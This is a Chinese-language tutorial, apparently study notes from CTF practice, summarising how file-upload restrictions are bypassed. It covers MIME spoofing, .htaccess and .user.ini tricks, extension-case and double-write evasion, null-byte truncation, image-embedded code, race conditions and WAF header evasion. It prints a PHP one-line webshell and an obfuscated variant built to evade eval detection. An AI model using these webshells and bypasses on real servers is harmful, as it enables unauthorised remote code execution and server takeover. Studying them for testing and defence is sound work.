文件上传漏洞总结
前端验证
可以利用开发者工具删除掉与脚本的事件。然后在上传恶意的代码。
一句话木马内容
<?php @eval($_POST['123']);?>
上传一句话木马之后利用菜刀进行连接
头部验证
MIME验证
概述:MIME验证:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
所以我们就需要用到万能的burp进行抓包了。上传一个恶意的php然后使用bp进行修改
将Content-Type字段内容修改为
Content-Type:image/jpeg
黑名单验证
Phtml绕过
因为是黑名单过滤,所以难免会逃过一两个,所以或许phtml就是期中一个,我们可以后缀名为phtml的来绕过他的黑名单,可以在pthml文件中插入一句话木马。
然后使用菜刀去连接所上传的pthml文件就可以获取服务器上的所有文件了。
Htaccess绕过
黑名单中能绕过的或许还有htaccess,他是一个伪静态文件,可以将当前目录下的所有文件用这个文件里面的语法进行解析,所有我们可以在htaccess文件中插入将当前目录下的文件全部用php语言去解析
SetHandler application/x-httpd-php
所以我们可以先将伪静态文件上传。上传的时候利用bp将伪静态文件的文件名进行删除,否则他只会解析与他同样的文件名
上传成功后可以新建一个图片格式的后缀名,在里面插入一句话木马。在上传这个文件。
上传成功后可以使用菜刀进行连接,去连接上传的图片
.user.ini绕过
作用同.htaccess
一样。
但是.htaccess
只适用于apache,如果是nginx,iis等不会解析,所有我们需要上传一个.user.ini的文件,让服务器能解析。
事例
[SUCTF 2019]CheckIn
这个例子也是文件上传的例子,虽然他只黑名单过滤掉了php等文件,并没有过滤其他的,所有尝试了htaccess但是他还是没有解析,因为除了Apache服务器都不解析。
所有适用.user.ini
进行上传
.user.ini内容:
auto_prepend_file=XXX.XXX
auto_append_file = XXX.XXX
XXX.XXX是上传的图片马
然后我们在上传一个图片马
菜刀进行连接的时候是当前目录下的php文件或者index.php文件。
大小写绕过
因为程序员过滤不严格,没有将后缀名给修改为同样的小写或大写,所以我们可以使用后缀名这个漏洞。可以将后缀名使用大小写绕过。
.pHp,.PHp,.phP,.pHp,.PHTML等进行绕过
再使用菜刀进行连接。
双写绕过
因为程序员对黑名单进行过滤的时候将哪些恶意文件的后缀名替换成了空,所以我们可以进行双写绕过
我们可以使用pphphp,pphtmlhtml等双写绕过
上传成功后可以使用菜刀进行连接或者直接访问他的phpinfo内容,查看是否能访问
特殊字符绕过
因为没有对后缀名去空,所以我们可以在后缀名的后面加一些特殊字符,例如空格,点号等,因为windows会自动忽略后缀名后的特殊字符,所以我们还是要使用bp进行修改,在上传的时候使用burp进行修改
- 空格绕过
- 点号绕过
- :$DATA绕过
上传成功后去访问上传的路径
构造后缀名绕过
我们可以构造一个新的且不影响文件执行的后缀名,例如在文件后缀名后面添加一些特殊字符,比如点号,空格等。
所以我们还是需要使用burp进行抓包,修改文件后缀名为.php. .
上传成功后去访问页面能否成功
白名单验证
0x00截断(1)1
通过源代码发现只能上传图片文件,但是他在上传的目录和文件那里拼接了随机字符串和时间作为后缀名,所以我们可以通过bp软件进行抓包,修改路径通过0x00进行截断
- 新建一个jpg格式的图片,然后在添加一句话木马或者phpinfo信息,利用burp进行抓包,先构造一个我们想要的后缀名,然后在进行截断
然后访问我们所构建的文件
0x00截断(2)
因为save_path路径是通过post表单数据传输的。而且post方式不会对%00进行解码,所以我们不仅要在抓包的界面修改还要在十六进制中进行修改。
我们还是需要使用bp进行抓包,进行截断
在十六进制中在进行0x00截断
修改之后进行发送,发送。上传成功之后访问上传的文件。
图片马2
因为有审查头部的代码,所以我们要利用一张正确的图片,在他的后面或者插入恶意代码或者phpinfo信息语句
<?php phpinfo();?>
插入之后上传,上传成功后查看他的源代码或者利用bp进行抓包查看他的源代码。找他被重命名的文件名
找到他的文件名之后利用文件包含漏洞去包含这个文件
二次渲染
二次渲染的缘分逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除。
所以我们要先上传一个gif图片,成功之后下载下来
将上传前的图片和上传之后的图片使用hex编辑器查看是否相同,在中间相同部分插入恶意代码。
将插入到恶意代码进行保存,和之前有明显变化
上传这个图片马,成功之后利用文件包含漏洞去访问这个图片马
条件竞争
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
我们可以利用python编写一个死循环向目标发出请求,一直尝试便会上传成功。
Waf检测
Waf头部绕过
- 去掉引号
Content-Disposition: form-data; name=upload_file; filename=1.php
Content-Disposition: form-data; name=upload_file; filename=“1.php”
Content-Disposition: form-data; name=“upload_file”; filename=1.php
- 双引号变成单引号
Content-Disposition: form-data; name=‘upload_file’; filename=‘1.php’
- 大小写转换
Content-Disposion
name
filename
将三个进行大小写转换
4. 去掉或者修改Content-Disposition值。
Waf内容绕过
- 利用文件包含绕过关键字
可以在php文件中进行包含,写入包含语句,在创建一个txt文件进行木马注入。
<?php include=”木马文件路径/木马文件”;?>
在木马文件里面写入一句话木马。
<?php avel($_POST['111']);?>
2)可以避开eval()函数。使用:
<?php $_GET[a]($_POST[‘aaa’]);?>
给当前php传值的时候传a=@eval
总结
- 文件上传就两种方式。一种白名单验证,一种黑名单验证。
- 黑名单验证就一个个的去碰,查看有没有漏网之鱼。或者构造后缀绕过方式。
- 白名单验证就是上传图片马,在图片里面插入恶意代码,用文件包含去打开这个文件